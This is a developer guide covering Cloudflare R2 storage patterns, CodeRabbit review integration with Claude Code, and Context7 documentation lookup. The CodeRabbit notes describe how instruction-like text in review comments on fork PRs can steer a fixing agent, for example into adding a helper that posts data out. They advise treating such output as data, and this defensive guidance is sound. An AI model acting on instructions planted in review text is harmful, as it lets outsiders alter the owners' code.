Since @aws-sdk/client-s3 3.729.0, requestChecksumCalculation and responseChecksumValidation default to "WHEN_SUPPORTED". Against R2 that means:

Set both options to "WHEN_REQUIRED" on any client that mints presigned URLs. You can also use the env vars AWS_REQUEST_CHECKSUM_CALCULATION and AWS_RESPONSE_CHECKSUM_VALIDATION. Upload integrity then comes from the signed Content-Length, an ETag check, or a checksum you compute and send yourself.


Pattern A: Presigned download URL (time-boxed read)

Mint a short-lived GET URL on the server and hand it to the authenticated user. Keys contain / (userId/uuid.ext), so use a catch-all segment. In Next.js 15+, params is a Promise.

// app/api/media/[...key]/route.ts
import { GetObjectCommand } from "@aws-sdk/client-s3";
import { getSignedUrl } from "@aws-sdk/s3-request-presigner";
import { auth } from "@clerk/nextjs/server";
import { NextRequest, NextResponse } from "next/server";
import { r2, R2_BUCKET } from "@/lib/r2";

export async function GET(
  _req: NextRequest,
  { params }: { params: Promise<{ key: string[] }> },
) {
  const { userId } = await auth();
  if (!userId) return new NextResponse("Unauthorized", { status: 401 });

  const key = (await params).key.join("/");
  // Authorize: users may only read their own namespace (or look up an ACL in your DB).
  if (!key.startsWith(`${userId}/`)) {
    return new NextResponse("Forbidden", { status: 403 });
  }

  const url = await getSignedUrl(
    r2,
    new GetObjectCommand({ Bucket: R2_BUCKET, Key: key }),
    { expiresIn: 300 }, // 5 minutes; re-mint on demand
  );
  return NextResponse.redirect(url);
}

Pattern B: Presigned upload URL (direct browser to R2)

The browser uploads straight to R2 with a presigned PUT, so the bytes never pass through your server. Two settings decide whether the URL enforces what you validated:

// app/api/uploads/route.ts — returns a short-lived PUT URL
import { PutObjectCommand } from "@aws-sdk/client-s3";
import { getSignedUrl } from "@aws-sdk/s3-request-presigner";
import { auth } from "@clerk/nextjs/server";
import { NextRequest, NextResponse } from "next/server";
import { r2, R2_BUCKET } from "@/lib/r2";

const EXT: Record<string, string> = { "image/png": ".png", "image/jpeg": ".jpg", "image/webp": ".webp" };
const MAX_BYTES = 10 * 1024 * 1024;

export async function POST(req: NextRequest) {
  const { userId } = await auth();
  if (!userId) return new NextResponse("Unauthorized", { status: 401 });

  const { contentType, size } = (await req.json()) as { contentType: string; size: number };
  const ext = EXT[contentType];
  if (!ext) return new NextResponse("Unsupported media type", { status: 415 });
  if (!Number.isInteger(size) || size <= 0 || size > MAX_BYTES) {
    return new NextResponse("Too large", { status: 413 });
  }

  // Namespace by user; never trust the client filename in the key.
  const key = `${userId}/${crypto.randomUUID()}${ext}`;
  const uploadUrl = await getSignedUrl(
    r2,
    new PutObjectCommand({ Bucket: R2_BUCKET, Key: key, ContentType: contentType, ContentLength: size }),
    { expiresIn: 120, signableHeaders: new Set(["content-type"]) },
  );
  return NextResponse.json({ uploadUrl, key });
}
// client: the PUT must send the SAME Content-Type; the browser sets Content-Length from the File
export async function uploadFile(file: File): Promise<string> {
  const res = await fetch("/api/uploads", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ contentType: file.type, size: file.size }),
  });
  if (!res.ok) throw new Error(`Upload rejected: ${res.status}`);
  const { uploadUrl, key } = (await res.json()) as { uploadUrl: string; key: string };

  const put = await fetch(uploadUrl, { method: "PUT", headers: { "Content-Type": file.type }, body: file });
  if (!put.ok) throw new Error(`R2 PUT failed: ${put.status}`);
  return key;
}

Browser uploads need CORS on the bucket. Allow PUT from your origin with AllowedHeaders: ["Content-Type"] (see CORS). R2 sends no CORS headers on a 403 ExpiredRequest, so browser JS can't read an expiry error. Mint a fresh URL before every upload.

Presigned POST (HTML form uploads) is not supported. R2 supports presigned GET, HEAD, PUT and DELETE.

Pattern T: Temporary credentials (scoped S3 session)

Use temporary credentials when a caller needs several S3 operations: a mobile app listing and reading its own prefix, or a multipart upload. They're short-lived and derived from a parent R2 API token. Each one is bound to one bucket, a permission scope (object-read-only, object-read-write, admin-read-only or admin-read-write), and optional prefixes and objects.

import { S3Client, type S3ClientConfig } from "@aws-sdk/client-s3";

export function r2ForSession(creds: { accessKeyId: string; secretAccessKey: string; sessionToken: string }) {
  const config: S3ClientConfig = {
    region: "auto",
    endpoint: `https://${process.env.R2_ACCOUNT_ID}.r2.cloudflarestorage.com`,
    credentials: creds,
    requestChecksumCalculation: "WHEN_REQUIRED",
  };
  return new S3Client(config);
}

Pattern C: Worker in front of the bucket (policy per request)

When every request needs a live authorization decision, put a Worker in front of the bucket with the native binding: a revoked user, a rate limit, or WAF and caching on a custom domain all need one. The full typed version is in examples/worker-gate.ts. It uses a constant-time secret compare, a deny-by-default read check, and conditional GETs.

// wrangler.jsonc  (default config format; wrangler.toml still works)
{
  "name": "media-gateway",
  "main": "src/index.ts",
  "compatibility_date": "2026-10-17",
  "r2_buckets": [
    {
      "binding": "MEDIA",          // -> env.MEDIA
      "bucket_name": "amani-media"
      // "jurisdiction": "us",     // required for jurisdictional buckets
      // "remote": true            // use the real bucket during `wrangler dev`
    }
  ]
}
npx wrangler types                  # generates Env (MEDIA: R2Bucket, ...) + runtime types
npx wrangler secret put AUTH_KEY_SECRET

Workers binding API (cheat sheet)

Method Returns Notes
head(key) R2Object | null Metadata only
get(key, { onlyIf?, range?, ssecKey? }) R2ObjectBody | R2Object | null Returns an R2Object without body when onlyIf fails, so map it to 304. range takes {offset,length}, {suffix} or Headers
put(key, value, { httpMetadata?, customMetadata?, md5/sha1/sha256/sha384/sha512?, storageClass?, onlyIf?, ssecKey? }) R2Object | null null means an onlyIf precondition failed. Writes are strongly consistent
delete(key | key[]) void Up to 1,000 keys per call
list({ prefix?, cursor?, delimiter?, limit?, include? }) R2Objects Max 1,000 per page. Loop on truncated and cursor, never on objects.length
createMultipartUpload(key, opts?) / resumeMultipartUpload(key, uploadId) R2MultipartUpload uploadPart / complete / abort. Unfinished uploads auto-abort after 7 days

R2Object gives you key, size, etag, httpEtag (quoted: use this one in headers), uploaded, httpMetadata, customMetadata, checksums, storageClass ("Standard" | "InfrequentAccess"), and writeHttpMetadata(headers).


Choosing a pattern

Need Pattern Why
Time-limited download of a private file A: presigned GET No infrastructure; the URL expires on its own
Direct browser upload, bytes skip your server B: presigned PUT + signableHeaders + ContentLength Offloads bandwidth; type and size are enforced by the signature
Client needs list/multipart/many ops on its own prefix T: temporary credentials One scoped, expiring S3 session
Live per-request authz, WAF, caching, rate limits C: Worker (+ custom domain) Full control at the edge
Public, non-sensitive assets (logos, OG images, thumbnails) Public bucket on a custom domain Only when leakage is harmless

Public buckets and custom domains

CORS

CORS is needed whenever a browser calls R2: a public bucket fetched cross-origin, or any presigned URL used from JS.

[
  {
    "AllowedOrigins": ["https://app.example.com", "http://localhost:3000"],
    "AllowedMethods": ["PUT", "GET", "HEAD"],
    "AllowedHeaders": ["Content-Type"],
    "ExposeHeaders": ["ETag"],
    "MaxAgeSeconds": 3600
  }
]

Lifecycle rules and storage classes

Standard (default) Infrequent Access (STANDARD_IA)
Storage $0.015 / GB-month $0.01 / GB-month
Class A ops $4.50 / million $9.00 / million
Class B ops $0.36 / million $0.90 / million
Data retrieval none $0.01 / GB
Minimum storage duration none 30 days
Free tier yes no

Event notifications

Event notifications push object-create events (PutObject, CopyObject, CompleteMultipartUpload) and object-delete events (DeleteObject, LifecycleDeletion) to a Cloudflare Queue. Read them with a consumer Worker or an HTTP pull consumer. The limits are 100 rules per bucket, with optional --prefix and --suffix filters. Rules can't overlap, and a queue takes about 5,000 messages/s.

npx wrangler queues create media-events
npx wrangler r2 bucket notification create amani-media --event-type object-create --queue media-events --prefix "uploads/"

Each message body has { account, action, bucket, object: { key, size?, eTag? }, eventTime, copySource? }. size and eTag are absent on deletes. A typical use is post-upload validation of presigned PUTs. examples/event-consumer.ts shows a typed consumer that checks the type and size, then marks the object ready or deletes it.

Jurisdictions and location hints

Newer bucket features (2026)

Data migration: Super Slurper and Sippy

Super Slurper Sippy
Model One-shot bulk copy job Incremental copy-on-read
Sources Amazon S3, GCS, R2, any S3-compatible provider (B2, Spaces, Scaleway and Wasabi tested) Amazon S3, GCS, Azure Blob Storage and any S3-compatible provider (added 2026-07-24)
Cost Free; you pay R2 Class A ops (objects ≥100 MiB use multipart) Free; you pay R2 ops (objects ≥200 MiB use multipart)
Limits Objects > 1 TB skipped; Glacier/Deep Archive skipped Source changes after the first copy aren't re-synced
Start Dashboard > R2 > Data Migration npx wrangler r2 bucket sippy enable <BUCKET>

The ETags of migrated objects may differ from the source, so don't verify migrations by ETag. A common pattern is Sippy to serve live traffic plus Super Slurper for the long tail.

Analytics on R2: Basin (formerly R2 Data Catalog / R2 SQL)

On 2026-10-01 Cloudflare renamed and GA'd its data platform as Basin:

Docs now live at developers.cloudflare.com/basin-catalog/ and /basin-sql/. The old R2 Data Catalog and R2 SQL configurations and APIs still work but are slated for future deprecation.


Pricing and limits (snapshot 2026-10-20)

Free tier (monthly, Standard only)
Storage 10 GB-month
Class A ops 1 million
Class B ops 10 million
Egress Free (always, all classes)

Full tables are in reference/limits-and-pricing.md.


Environment Variables

Secrets (server-only; set in the vault, .env.local, or wrangler secret put):

R2_ACCESS_KEY_ID=your-r2-access-key-id
R2_SECRET_ACCESS_KEY=your-r2-secret-access-key
AUTH_KEY_SECRET=long-random-string-for-worker-writes

Non-secret configuration (plain env or Wrangler vars):

Variable Example Purpose
R2_ACCOUNT_ID 0123456789abcdef0123456789abcdef Builds the S3 endpoint
R2_BUCKET amani-media Private media bucket name
R2_JURISDICTION us (optional) Selects <account>.<j>.r2.cloudflarestorage.com; must match the bucket
AWS_REQUEST_CHECKSUM_CALCULATION WHEN_REQUIRED (optional) Env alternative to the client option

codeAmani notes


Troubleshooting

Issue Fix
Presigned PUT accepts any Content-Type You didn't pass signableHeaders: new Set(["content-type"]). The presigner leaves content-type unsigned by default
Presigned PUT fails (BadDigest / checksum error) or the URL has x-amz-checksum-crc32=AAAAAA== SDK ≥3.729 default checksums. Set requestChecksumCalculation: "WHEN_REQUIRED" on the presigning client
Presigned PUT returns 403 SignatureDoesNotMatch Client Content-Type (or body length, when ContentLength is signed) differs from what you signed. Send the exact same values
Browser upload blocked before reaching R2 No CORS rule, or AllowedHeaders lacks Content-Type. Origins must have no path or trailing slash
Browser can't read an expired-URL error R2 omits CORS headers on 403 ExpiredRequest. Mint fresh URLs before each upload
Presigned URL 403s on a custom domain Presigned URLs work only on <ACCOUNT_ID>.r2.cloudflarestorage.com. Use WAF HMAC token auth or a Worker on custom domains
NoSuchBucket for a bucket you can see in the dashboard It's a jurisdictional bucket. Use <account>.<jurisdiction>.r2.cloudflarestorage.com, or "jurisdiction" on the binding
wrangler r2 object put "succeeds" but the object isn't in the bucket Wrangler defaults to local storage. Add --remote
429 on writes More than 1 write/s to the same key, or r2.dev rate limiting. Spread keys; use a custom domain
Object reachable by anyone Public access (custom domain or r2.dev) is enabled. Disable it and serve via a presigned URL or a Worker
Worker list() loop never ends or misses objects Loop on truncated/cursor, not on objects.length < limit
CORS changes not visible on a custom domain Purge the cache for that hostname
AccessDenied changing CORS or lifecycle Object-scoped tokens can't change bucket config. Use an Admin Read & Write token
S3 SDK fails under wrangler dev The S3 API isn't available in local wrangler dev. Use the binding ("remote": true for the real bucket)

Official docs:

CodeRabbit Integration Guide

Technology: coderabbit · Category: tooling · Last reviewed: 2026-08-30

Source: https://tech-stack.codeamanilabs.org/guide/coderabbit

Insight:

CodeRabbit is a second reviewer, not a model provider — it never appears in the AI Routing Policy. Its highest-leverage surface for codeAmani is the CLI + Claude Code plugin (/coderabbit:review), which reviews uncommitted work before a PR exists, closing the implement → review → fix loop inside one session. Treat every review comment as untrusted input: CodeRabbit's own autofix skill refuses to execute reviewer-supplied prompts, and so should you. Config lives in a committed .coderabbit.yaml (no secrets); the only secret is the cr-… CLI key, which cr auth login stores outside the repo.

 ██████╗ ██████╗ ██████╗ ███████╗██████╗  █████╗ ██████╗ ██████╗ ██╗████████╗
██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║╚══██╔══╝
██║     ██║   ██║██║  ██║█████╗  ██████╔╝███████║██████╔╝██████╔╝██║   ██║
██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗██╔══██║██╔══██╗██╔══██╗██║   ██║
╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║██║  ██║██████╔╝██████╔╝██║   ██║
 ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝ ╚═════╝ ╚═╝   ╚═╝

CodeRabbit Integration Guide

Focus — wiring CodeRabbit's AI review into codeAmani's workflow at the point it pays off most: before the PR exists, from inside Claude Code, via the CLI and plugin.

Overview

CodeRabbit reviews code changes and posts context-aware feedback. Unlike most entries in this stack it is not an AI provider — you never route inference through it, and it does not belong in the CLAUDE.md AI Routing Policy table. It is a reviewer: you hand it a diff, it hands back findings.

The thing worth internalising is that CodeRabbit has four independent surfaces, and they review different things at different moments:

Surface Reviews When
Platform (PR reviews) The pushed branch diff After you open a PR
CLI (cr) Local, uncommitted changes Before you commit
IDE extension Working-tree changes in-editor While you type (VS Code, Cursor, Windsurf)
Agent Conversation context In Slack / Discord

For an agentic workflow the CLI is the one that matters — it is the only surface that can see work that does not exist in git history yet, which is exactly the state Claude Code leaves the tree in mid-task.

flowchart TD
  A["Claude Code implements a change"] --> B["/coderabbit:review<br/>(plugin wraps the cr CLI)"]
  B --> C["cr --agent · structured JSON"]
  C --> D{"Findings?"}
  D -->|"yes"| E["Claude proposes fixes<br/>per-change approval"]
  E --> A
  D -->|"no"| F["Commit + push"]
  F --> G["Platform review on the PR<br/>@coderabbitai commands"]

Official Documentation

Resource URL
Docs home https://docs.coderabbit.ai/
CLI overview https://docs.coderabbit.ai/cli/overview
Claude Code integration https://docs.coderabbit.ai/cli/claude-code-integration
YAML configuration https://docs.coderabbit.ai/getting-started/yaml-configuration
Review commands https://docs.coderabbit.ai/guides/commands
Command reference https://docs.coderabbit.ai/reference/review-commands
Path instructions https://docs.coderabbit.ai/configuration/path-instructions
Tool integrations https://docs.coderabbit.ai/tools/

Git platforms: GitHub, GitLab, Azure DevOps, Bitbucket. Issue trackers: Jira, Linear.

No npm/PyPI package. The packages: frontmatter is deliberately empty — CodeRabbit ships a native CLI binary via a shell installer or Homebrew, not a JS/Python library. (The coderabbit name on npm is an unrelated security placeholder; do not install it.)


Claude Code Integration (the path codeAmani uses)

CodeRabbit ships a first-party Claude Code plugin. It is already enabled in this workspace (coderabbit@claude-plugins-official, v1.1.1).

# Vendor marketplace (as documented upstream)
/plugin marketplace add coderabbitai/claude-plugin
/plugin install coderabbit

# Or from the official marketplace — this is what this workspace uses
claude plugin install coderabbit

What the plugin actually adds:

Component Name Purpose
Command /coderabbit:review Run a review on the current changes
Skill code-review Default review skill; also fires autonomously when a review is warranted
Skill autofix Apply CodeRabbit PR-thread feedback with per-change approval
Agent code-reviewer Delegated review subagent
/coderabbit:review                      # tracked changes
/coderabbit:review committed            # committed modifications only
/coderabbit:review uncommitted          # staged + local edits
/coderabbit:review --include-untracked  # include new files
/coderabbit:review --base main          # diff against a specific branch

The workflow the plugin is designed around is a single instruction that closes the loop:

"Implement phase 7.3 of the plan, then review it with CodeRabbit and fix what it finds."

Claude implements → runs the review → reads findings → proposes fixes → repeats. Prefer the plugin over raw cr calls: it already knows how to parse the structured output.


CLI Setup

# macOS / Linux
curl -fsSL https://cli.coderabbit.ai/install.sh | sh

# Homebrew
brew install coderabbit

# Windows (PowerShell)
irm https://cli.coderabbit.ai/install.ps1 | iex

Authenticate once — credentials are stored outside the repo:

cr auth login                        # US region
cr auth login --region eu            # EU region (data residency)
cr auth login --api-key "cr-..."     # non-interactive / CI

Core commands:

cr                      # review local changes (alias for `coderabbit review`)
cr review --light       # faster, shallower pass
cr --agent              # structured JSON — this is what the plugin consumes
cr doctor               # diagnose setup problems
cr stats                # review statistics

cr --agent is the integration seam. If you are scripting CodeRabbit into a hook or CI step, parse that JSON — do not scrape the human-readable output, which is formatted for a terminal and will change.


.coderabbit.yaml

Configuration is a committed file at the repo root. It holds no secrets, so it is safe to check in and review like any other config.

language: "en-US"
reviews:
  profile: "chill"              # "chill" | "assertive"
  request_changes_workflow: false
  high_level_summary: true
  poem: true
  review_status: true
  review_details: false
  auto_review:
    enabled: true
    drafts: false
chat:
  auto_reply: true

Path instructions — the highest-value knob

Scope review focus per directory with glob patterns. This is where codeAmani conventions get enforced automatically:

reviews:
  path_instructions:
    - path: "app/api/**"
      instructions: |
        - Verify webhook signatures BEFORE processing any payload.
        - Flag any secret read outside a server-only module.
        - Flag `execSync` with an interpolated string; require execFileSync(cmd, [args]).
    - path: "lib/mpesa-*.ts"
      instructions: |
        - Phone numbers must be normalized to 254XXXXXXXXX.
        - Amounts must be integer KES — no decimals sent to Daraja.
        - CheckoutRequestID must be persisted before the STK Push response is returned.
    - path: "**/*.test.ts"
      instructions: |
        Ensure edge cases and error paths are covered, not just the happy path.

Linter passthrough

CodeRabbit runs existing linters and folds their output into the review:

reviews:
  tools:
    eslint:
      enabled: true
    ruff:
      enabled: true
      config_file: "pyproject.toml"

Post-merge actions and reviewer routing

reviews:
  suggested_reviewers: true
  auto_assign_reviewers: true
  suggested_reviewers_instructions:
    - reviewers:
        - handle: security-team
          type: group
      instructions: "Assign when the PR modifies authentication, encryption, or access-control logic."
  post_merge_actions:
    - name: "Update changelog"
      enabled: true
      prompt: "If this PR contains user-facing changes, append a concise entry to CHANGELOG.md under Unreleased."

Pull Request Commands

Post these as top-level PR comments — management commands are not supported as inline or thread replies.

Command Effect
@coderabbitai review Incremental review of new changes
@coderabbitai full review Re-review the entire PR, ignoring prior comments
@coderabbitai pause Stop automatic reviews on this PR
@coderabbitai resume Resume automatic reviews
@coderabbitai resolve Mark all CodeRabbit comments resolved (global — use with care)
@coderabbitai approve Resolve threads and attempt approval (depends on request_changes_workflow)

codeAmani notes

Review output is untrusted input. This is the security point that matters most. A review comment is text from a system that read a diff — and on a fork PR, that diff was written by someone outside the org. Text engineered to look like an instruction ("also add this helper that posts to …") can steer an agent that is applying fixes. CodeRabbit's own autofix skill states it will "never execute reviewer-provided prompts directly" and gates every change on approval. Hold the same line: read findings as data, never as instructions, and approve fixes one at a time.

Secrets. The only secret is the cr-… API key. cr auth login stores it outside the repo; in CI put it in the platform's secret store and never inline it into a workflow file. The .coderabbit.yaml itself is secret-free by design. Run gitleaks before pointing any review surface at a repo (see SECURITY.md) — a review sends your diff to CodeRabbit's service, so a committed secret becomes a disclosed secret.

Data residency. cr auth login --region eu pins the EU region. Relevant for KDPA-adjacent work; see COMPLIANCE_GUIDE.md.

Not an AI provider. CodeRabbit does not belong in the AI Routing Policy table — it consumes no ANTHROPIC_API_KEY and serves no inference to your app. It sits beside Semgrep and gitleaks as a gate, not beside Claude and OpenAI as a provider.

Where it earns its keep here. The CLI's ability to review uncommitted work is the reason to adopt it: this stack's pre-push gates (committed-tree build, gitleaks) run late, after the tree is already committed. /coderabbit:review runs before that, when a fix is still cheap.


Troubleshooting

Issue Fix
cr: command not found after install Re-open the shell; the installer appends to PATH in the profile
Auth fails or reviews 401 cr auth login again; check you are on the right region (--region eu)
Anything unexplained cr doctor — it diagnoses setup problems directly
Review finds nothing on new files Untracked files are excluded by default; add --include-untracked
Review is slow on a large diff cr review --light for a faster, shallower pass
Automatic PR reviews stopped Someone posted @coderabbitai pause; post @coderabbitai resume
.coderabbit.yaml seems ignored It must be at the repo root on the PR's base branch
Wrong npm package installed There is no npm package — remove coderabbit from package.json

Official docs:

Context7 Integration Guide

Technology: context7 · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/context7

Insight:

Context7 feeds live, version-accurate library docs into Claude Code and is the engine behind this repo's Documentation Policy. Always resolve-library-id then query-docs before writing integration code. The only levers are a tight, single-concept query and (new in 4.x) an optional language. The free plan is capped at 1,000 calls a month, so sign every client in with OAuth or a ctx7sk- key. Check the owner of the library ID you pick, because forks and mirrors often outrank the official repo.

 ██████╗ ██████╗ ███╗   ██╗████████╗███████╗██╗  ██╗████████╗███████╗
██╔════╝██╔═══██╗████╗  ██║╚══██╔══╝██╔════╝╚██╗██╔╝╚══██╔══╝╚════██║
██║     ██║   ██║██╔██╗ ██║   ██║   █████╗   ╚███╔╝    ██║       ██╔╝
██║     ██║   ██║██║╚██╗██║   ██║   ██╔══╝   ██╔██╗    ██║      ██╔╝
╚██████╗╚██████╔╝██║ ╚████║   ██║   ███████╗██╔╝ ██╗   ██║      ██║
 ╚═════╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═╝   ╚═╝      ╚═╝

Context7 Integration Guide

Focus: Feeding live, version-accurate library documentation into Claude Code (and Cursor, VS Code, claude.ai) through the Context7 MCP server, so generated code uses real, current APIs.

Overview

Context7 (by Upstash) indexes library documentation (GitHub repos, doc websites, llms.txt files, OpenAPI specs) and serves the slice relevant to a question to an AI agent. Without it, the model writes from training data that may be a year old. With it, the model resolves the library, pulls current docs, and writes against them.

flowchart LR
    A["Library name + query"] --> B["resolve-library-id"]
    B --> C["Context7 library ID"]
    C --> D["query-docs"]
    D --> E["Live version-accurate docs"]
    E --> F["Claude Code writes grounded code"]

There are four ways to use the same index:

Surface What it is Use it for
MCP server (@upstash/context7-mcp, or hosted https://mcp.context7.com/mcp) Two agent tools: resolve-library-id and query-docs Claude Code, Cursor, VS Code, claude.ai, every MCP client
ctx7 CLI ctx7 library / ctx7 docs in a terminal, plus ctx7 setup to wire up agents One-off lookups, and the "CLI + Skills" mode (no MCP)
REST API (https://context7.com/api/...) GET /api/v2/libs/search, GET /api/v2/context, GET /api/v3/search Your own scripts and pipelines
TypeScript SDK (@upstash/context7-sdk) and AI SDK tools (@upstash/context7-tools-ai-sdk) Typed wrappers over the REST API Agents you build yourself

Current versions (verified 2026-10-20 with npm view)

Package Version Node
@upstash/context7-mcp 4.4.4 (2026-10-19) >=20.18.1
ctx7 (CLI) 0.8.1 (2026-10-19) >=22.13.0
@upstash/context7-sdk 0.5.1 —
@upstash/context7-tools-ai-sdk 1.0.3 —
@upstash/context7-pi (pi.dev extension) 0.1.3 —

The MCP server also ships as a context7.mcpb bundle on each GitHub release (mcpb-v4.4.4).

Official Documentation

Resource URL
Context7 website https://context7.com
Docs index (append .md to any page) https://context7.com/docs/llms.txt
Claude Code guide https://context7.com/docs/clients/claude-code
Cursor guide https://context7.com/docs/clients/cursor
VS Code guide https://context7.com/docs/clients/vscode
All MCP clients (manual config) https://context7.com/docs/resources/all-clients
CLI reference https://context7.com/docs/clients/cli
API guide https://context7.com/docs/api-guide
Plans and pricing https://context7.com/plans
GitHub https://github.com/upstash/context7
npm (MCP server) https://www.npmjs.com/package/@upstash/context7-mcp

MCP tools (v4.4)

The server exposes exactly two tools. They are read-only (readOnlyHint: true) and each maps to one REST endpoint.

Tool REST endpoint Required params Optional
resolve-library-id GET /api/v2/libs/search libraryName, query —
query-docs GET /api/v2/context libraryId, query language

History: query-docs was called get-library-docs before v4. Its old context7CompatibleLibraryID, topic and tokens parameters are gone. Any rule or slash command that still passes tokens= or topic= is pre-v4.


Setup: remote vs local

The decision comes first:

Remote (hosted) Local (stdio)
Endpoint https://mcp.context7.com/mcp (API key), or https://mcp.context7.com/mcp/oauth (OAuth) npx -y @upstash/context7-mcp
Needs local Node No Yes, Node 20.18.1 or newer
Auth Authorization: Bearer <key> header, or OAuth 2.0 --api-key <key> flag or CONTEXT7_API_KEY env (the flag wins)
OAuth available Yes No. OAuth works only over remote HTTP
Updates Automatic Pin a version or use @latest

codeAmani default: remote. It needs no Node process, has nothing to update, and avoids the Windows npx timeout problems listed under Troubleshooting. Use local stdio only when a client cannot speak HTTP MCP.

flowchart TD
    A["Which client?"] --> B{"Claude Code?"}
    B -->|"yes, interactive"| C["Plugin or ctx7 setup --claude"]
    B -->|"headless / CI / SSH"| D["claude mcp add --transport http + Bearer key"]
    A --> E{"Cursor?"}
    E --> F["~/.cursor/mcp.json remote url + headers"]
    A --> G{"VS Code?"}
    G --> H["Upstash.context7-mcp extension"]
    A --> I{"claude.ai?"}
    I --> J["Context7 connector (Settings > Connectors)"]

Claude Code

Pick one of the following. Installing two of them registers the same tools twice.

1. Context7 plugin (hosted, OAuth, no key).

/plugin marketplace add upstash/context7
/plugin install context7@context7-marketplace

Restart Claude Code, run /mcp, select Context7 and complete the browser sign-in. The plugin does not read CONTEXT7_API_KEY. For headless, SSH or CI hosts, use option 2 or 3.

2. ctx7 setup (one command, needs Node 22.13 or newer).

npx ctx7 setup --claude            # prompts for MCP vs CLI + Skills mode
npx ctx7 setup --mcp --claude      # MCP mode, no prompt
npx ctx7 setup --cli --claude      # CLI + Skills mode: writes a "docs" skill to ~/.claude/skills
npx ctx7 setup --claude --project  # write project config instead of global
npx ctx7 setup --api-key <key>     # reuse an existing key instead of OAuth

Without --api-key it runs the OAuth device flow: it prints a link and a short code you open on any device, so it works over SSH. It then generates a key and writes the MCP entry, a rule file, and a context7-mcp skill. Undo with npx ctx7 remove (--claude, --mcp, --cli, --project, --all narrow it down).

3. Manual claude mcp add.

# Remote (recommended)
claude mcp add --scope user --header "Authorization: Bearer $CONTEXT7_API_KEY" \
  --transport http context7 https://mcp.context7.com/mcp

# Local stdio
claude mcp add --scope user context7 -- npx -y @upstash/context7-mcp --api-key "$CONTEXT7_API_KEY"

Or in a project's .mcp.json (Claude Code expands ${VAR}, so the key stays out of git):

{
  "mcpServers": {
    "context7": {
      "type": "http",
      "url": "https://mcp.context7.com/mcp",
      "headers": { "Authorization": "Bearer ${CONTEXT7_API_KEY}" }
    }
  }
}

For OAuth instead of a key, point url at https://mcp.context7.com/mcp/oauth, drop the header, then run /mcp → Context7 → Authenticate.

Cursor

Edit ~/.cursor/mcp.json (global) or .cursor/mcp.json (project), or use Cursor Settings → Tools & MCP → New MCP Server. There is also a one-click install deeplink in the README. npx ctx7 setup --cursor does the same job.

{
  "mcpServers": {
    "context7": {
      "url": "https://mcp.context7.com/mcp",
      "headers": { "Authorization": "Bearer YOUR_API_KEY" }
    }
  }
}

Local form: "command": "npx", "args": ["-y", "@upstash/context7-mcp", "--api-key", "YOUR_API_KEY"]. Add a rule under Cursor Settings → Rules so you don't have to type "use context7".

VS Code (Copilot agent mode)

Install the Context7 MCP Server extension (Upstash.context7-mcp, VS Code 1.101 or newer). It registers the hosted server automatically, so no mcp.json is needed. Add a key under Settings → Context7: Api Key ("context7.apiKey"). Put it in user settings, not a committed .vscode/settings.json. Confirm with MCP: List Servers.

Manual alternative (.vscode/mcp.json; note the top-level key is servers, not mcpServers):

{
  "servers": {
    "context7": {
      "type": "http",
      "url": "https://mcp.context7.com/mcp",
      "headers": { "Authorization": "Bearer YOUR_API_KEY" }
    }
  }
}

claude.ai (web, desktop, mobile)

Context7 is available as a claude.ai connector: Settings → Connectors. Pick Context7 from the directory, or Add custom connector with the URL https://mcp.context7.com/mcp. It exposes the same two tools with the same schemas, including language. We confirmed this in the connected claude.ai Context7 connector on 2026-10-20. In a claude.ai org, an owner must allow the connector first. Claude Desktop can use the same connector or a local claude_desktop_config.json stdio entry.

Windows notes

If local npx times out on Windows, wrap it with cmd: "command": "cmd", "args": ["/c", "npx", "-y", "@upstash/context7-mcp", "--api-key", "YOUR_API_KEY"]. Switching to the remote server avoids the problem entirely.


API keys, plans and rate limits

Keys. Create them at context7.com/dashboard. The format is ctx7sk-…, and a key is shown once. Revoking a key is immediate and permanent. A key raises your rate limits and is required for private sources and teamspace rules and policies. ctx7 setup and OAuth create or replace keys for you.

Plans (from https://context7.com/plans, read 2026-10-20):

Free Pro Enterprise
Price $0 $10 / seat / month Per seat, from $30/user/month for small teamspaces down to $2.50 at volume; self-serve up to 50 members
Included calls 1,000 API calls / month 2,000 / seat / month (per seat, not pooled) Custom
Over the limit Blocked, then 20 bonus calls per day until the month resets Never blocked: $5 per 1,000 extra calls Custom
Private repos No Yes, parsing costs $5 per 1M tokens (refreshes bill changed content only) Yes
Extras Public repos, basic access control, OAuth 2 Team collaboration, rules, policies SOC 2, SSO (SAML/OIDC), up to 5,000 members and 100 teamspaces, SLA, self-hosted / on-prem

A Search API call (/api/v3/search) counts as one call, the same as a context call. An MCP resolve-library-id + query-docs pair counts as two.

Rate limits. Anonymous use gets "low rate limits", and keyed use gets limits "based on your plan". The exact anonymous numbers are not published. When you hit a limit the API returns HTTP 429 with Retry-After, RateLimit-Limit, RateLimit-Remaining and RateLimit-Reset headers. Check usage in the dashboard Overview tab.


How Context7 works in practice

sequenceDiagram
    participant U as "You"
    participant C as "Claude Code"
    participant M as "Context7 MCP"
    U->>C: "Use the latest library API"
    C->>M: "resolve-library-id with libraryName and query"
    M-->>C: "Candidate library IDs"
    C->>M: "query-docs with libraryId, query, language"
    M-->>C: "Current docs and code snippets"
    C-->>U: "Code matching documented API"

Step 1: resolve the library ID

Tool: resolve-library-id
Input: { "libraryName": "Next.js", "query": "app router caching" }
Output (abridged; benchmark and snippet numbers from the REST search on 2026-10-20):
  - /vercel/next.js         Next.js        benchmark ~77  ~5.9k snippets
  - /websites/nextjs        Next.js        benchmark ~73  ~6.9k snippets
  - /vercel/next-learn      Learn Next.js  ...

Pick the candidate whose owner is the authoritative project first, then compare reputation, snippet count and benchmark score. Benchmark alone misleads. Resolving "Context7" on 2026-10-20 ranked three third-party forks (benchmark 83 to 86) above the official /upstash/context7 (81.9).

Step 2: fetch documentation

Tool: query-docs
Input: { "libraryId": "/vercel/next.js", "query": "app router caching with fetch", "language": "TypeScript" }
Output: code snippets and prose from the current Next.js docs, each with its source URL

Skip step 1 when you already know the ID. The /org/project path on context7.com is the ID.

Library ID formats

Source Example
GitHub (and GitLab/Bitbucket) repo /vercel/next.js
Website /websites/nextjs
